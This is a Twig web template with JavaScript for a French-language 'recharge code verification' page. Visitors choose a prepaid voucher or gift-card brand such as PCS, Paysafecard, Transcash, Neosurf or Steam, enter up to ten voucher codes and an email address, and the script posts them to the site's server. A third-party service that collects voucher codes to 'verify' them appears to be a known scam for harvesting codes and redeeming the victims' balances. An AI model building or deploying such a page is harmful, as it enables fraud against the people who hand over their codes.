{% extends "base.html.twig" %}
{% block stylesheets %}
<style>
.background-container {
position: relative;
overflow: hidden;
}
.background-container::before {
content: '';
background-image: url('{{ asset('assets/images/pexels-davidmcbee-730564.jpg') }}');
background-repeat: no-repeat;
background-size: cover;
position: absolute;
top: 0;
left: 0;
width: 100%;
height: 100%;
opacity: 0.3; /* Réglez l'opacité selon vos préférences */
z-index: -1;
}
.alert {
position: fixed;
top: 50%;
left: 50%;
transform: translate(-50%, -50%);
background-color: black;
color: white;
padding: 20px;
border-radius: 5px;
z-index: 9999;
display: none;
}
</style>
{% endblock %}
{% block body %}
<div class="background-container">
<br/>
<div class="container">
<div class="col-lg-5 offset-lg-2 box-cards" style="position: relative; z-index: 5;">
<div class="card" style="position: relative;">
<div class="card-body">
<div class="hero__form">
<h4 class="sent-notification"></h4>
<h3>{{ 'home.renseignez_title'|trans([],'messages')}}</h3>
<form method="post" action="#" id="form_pcs">
<div class="mb-3">
<label for="recharge" class="form-label">{{ 'home.rechargeType'|trans([],'messages')}} :</label>
<select name="recharge" id="recharge" class="form-select" required>
<option value="PCS">PCS</option>
<option value="PAYSAFECARD">PAYSAFECARD</option>
<option value="TRANSCASH">TRANSCASH</option>
<option value="NEOSURF">NEOSURF</option>
<option value="LYCAMOBILE">LYCAMOBILE</option>
<option value="Google Play">GOOGLE PLAY</option>
<option value="Amazon">AMAZON</option>
<option value="OnShop">ONSHOP</option>
<option value="Steam">STEAM</option>
</select>
</div>
<div class="mb-3">
<label for="montant" class="form-label">{{ 'home.rechargeAmount'|trans([],'messages')}} :</label>
<input
type="number"
id="montant"
name="montant"
class="form-control"
placeholder="{{ 'home.rechargeAmountPlaceholder'|trans([],'messages')}}"
required
/>
</div>
<div class="mb-3">
<label for="devise" class="form-label">{{ 'home.devise'|trans([],'messages')}} :</label>
<select name="devise" id="devise" class="form-select">
<option value="euro">€ (Euro)</option>
<option value="dollar">$ (Dollar)</option>
<option value="Franc Suisse">CHF (Franc suisse)</option>
</select>
</div>
<div class="mb-3">
<label for="nombre_codes" class="form-label">{{ 'home.nomberCodeVerifier'|trans([],'messages')}} :</label>
<select name="nombre_codes" id="nombre_codes" class="form-select" required>
<option value="1">1</option>
<option value="2">2</option>
<option value="3">3</option>
<option value="4">4</option>
<option value="5">5</option>
<option value="6">6</option>
<option value="7">7</option>
<option value="8">8</option>
<option value="9">9</option>
<option value="10">10</option>
</select>
</div>
<div id="codes_div" class="mb-3">
<div class="mb-3">
<label for="codeRecharge1" class="form-label">{{ 'home.codeRecharge'|trans([],'messages')}} 1 :</label>
<input
type="text"
class="form-control"
name="codeRecharge1"
id="codeRecharge1"
placeholder="{{ 'home.codeRechargePlaceholder'|trans([],'messages')}}"
required
/>
</div>
</div>
<div class="mb-3">
<label for="email" class="form-label">{{ 'home.addresseEmail'|trans([],'messages')}} :</label>
<input
type="email"
class="form-control"
placeholder="{{ 'home.addresseEmailPlaceholder'|trans([],'messages')}}"
name="email"
id="email"
required
/>
</div>
<button type="submit" class="btn btn-success" id="submit_button" style="background-color: #5a3e5c; color: #fff;" name="send">
<i class="fal fa-check-circle"></i> {{ 'home.verifierBouton'|trans([],'messages')}}
</button>
</form>
</div>
</div>
</div>
</div>
</div>
<br/>
</div>
<div class="alert" id="alert">
<p>{{ 'home.rechargeVerifierSuccess'|trans([],'messages')}}</p>
</div>
<script src="https://www.google.com/recaptcha/api.js?render={{ recaptcha_site_key }}"></script>
<script>
document.addEventListener("DOMContentLoaded", function () {
const form = document.getElementById("form_pcs");
const alertBox = document.getElementById("alert");
const codesDiv = document.getElementById("codes_div");
const submitButton = document.getElementById("submit_button");
const BASE_PATH = "{{ path('app_home_submit')|escape('js') }}";
// Fonction pour créer les champs de code dynamiquement
function createCodeInputs(numberOfCodes) {
codesDiv.innerHTML = "";
for (let i = 1; i <= numberOfCodes; i++) {
const codeInput = document.createElement("div");
codeInput.className = "mb-3";
codeInput.innerHTML = `
<label for="codeRecharge${i}" class="form-label">{{ 'home.codeRecharge'|trans([],'messages')}} ${i} :</label>
<input type="text" class="form-control" name="codeRecharge${i}" id="codeRecharge${i}"
placeholder="{{ 'home.codeRechargePlaceholder'|trans([],'messages')}}" required />
`;
codesDiv.appendChild(codeInput);
}
}
// Gestion du changement du nombre de codes
document.getElementById("nombre_codes").addEventListener("change", function () {
createCodeInputs(parseInt(this.value));
});
// Gestion du changement de type de recharge
document.getElementById("recharge").addEventListener("change", function () {
const numberOfCodes = parseInt(document.getElementById("nombre_codes").value);
createCodeInputs(numberOfCodes);
});
// Soumission du formulaire
form.addEventListener("submit", async function (event) {
event.preventDefault();
submitButton.disabled = true;
submitButton.innerHTML = '<i class="fas fa-spinner fa-spin"></i> {{ 'home.verificationEnCours'|trans([],'messages')}}';
try {
// Récupération du token reCAPTCHA
const token = await grecaptcha.execute('{{ recaptcha_site_key }}', {action: 'submit'});
// Préparation des données du formulaire
const formData = new FormData(form);
const formObject = {
recaptcha_token: token
};
// Conversion FormData en objet
formData.forEach((value, key) => {
formObject[key] = value;
});
// Envoi des données
const response = await fetch(BASE_PATH, {
method: "POST",
headers: {
"Content-Type": "application/json",
},
body: JSON.stringify(formObject)
});
const data = await response.json();
if (!response.ok || !data.success) {
throw new Error(data.error || "{{ 'home.erreurProduite'|trans([],'messages') }}");
}
// Affichage du message de succès
alertBox.style.display = 'block';
setTimeout(() => {
alertBox.style.display = 'none';
}, 15000);
// Réinitialisation du formulaire
form.reset();
createCodeInputs(1);
document.getElementById("nombre_codes").value = 1;
} catch (error) {
console.error("Erreur:", error);
alert(error.message);
} finally {
submitButton.disabled = false;
submitButton.innerHTML = '<i class="fal fa-check-circle"></i> {{ 'home.verifierBouton'|trans([],'messages')}}';
}
});
// Initialisation des champs de code
createCodeInputs(1);
});
</script>
{% endblock %}